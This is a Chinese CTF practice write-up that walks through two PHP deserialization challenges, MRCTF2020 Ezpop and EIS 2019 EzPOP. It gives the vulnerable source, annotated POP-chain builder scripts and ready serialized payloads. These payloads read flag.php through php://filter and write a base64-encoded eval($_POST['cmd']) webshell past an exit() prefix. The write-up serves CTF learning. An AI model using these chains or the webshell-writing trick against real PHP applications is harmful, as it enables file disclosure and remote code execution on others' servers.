7.15刷题

[MRCTF2020]Ezpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);#1 $var=php://filter/
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;#3$str=new Test()
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {#4 $source=new Show()
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();#2$p=new Modifier()
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Modifier {
var $var; #改回去protected!!!
}

class Show{
public $source;
public $str;
}

class Test{
public $p;
}

$a=new Show();
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
$a->source->str->p->var='php://filter/convert.base64-encode/resource=flag.php';
echo serialize($a);

?pop=O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

[EIS 2019]EzPOP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<?php
error_reporting(0);

class A {

protected $store;

protected $key;#key是写入的文件名,pz.php

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents) {#4
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);#键名取交集,赋值$object=array("path"=>"一句话木马的url-base64编码"),不用管数组的其他东西,php://filter只读取php代码
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);#cache应当定义为一个数组,数组的名字$path无所谓,值是array("path"=>"一句话木马的url-base64编码");

return json_encode([$cleaned, $this->complete]);#随便给complete一个值2,返回的是[{"cache":{"111":{"path":"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs\/Pg"}},"complete":"2"},"2"]
}

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);#这里可以调用B类的set方法,给store赋值B对象
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class B {

protected function getExpireTime($expire): int {
return (int) $expire;
}

public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name; #伪协议绕过死亡exit(),options['prefix']='php://filter/write=convert.base64-decode/resource=./uploads/'
}#我们需要shell部分前面加起来的字节数为4的倍数

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];#options['serialize']='strval',把数字转化为字符串

return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];#options['expire']=11
}

$expire = $this->getExpireTime($expire);#强制转数字
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);#这里的serialize被重写了,是把数组变成字符串

if ($this->options['data_compress'] && function_exists('gzcompress')) {#options['data_compress']=false不压缩
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;#56个+
$result = file_put_contents($filename, $data);#这里写入文件,但是拼接语句有//注释和exit(),利用base64解码为乱码

if ($result) {
return true;
}

return false;
}

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->key = 'pz.php';
}
public function start($tmp){
$this->store = $tmp;
}
}
class B{
public $options;
}

$a = new A();
$b = new B();
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
$b->options['expire'] = 11;
$b->options['data_compress'] = false;
$b->options['serialize'] = 'strval';
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");
$path = '111';
$a->cache = array($path=>$object);
$a->complete = '2';
echo urlencode(serialize($a));
?>

不用数数,直接调整$path字符的数量一个个试就行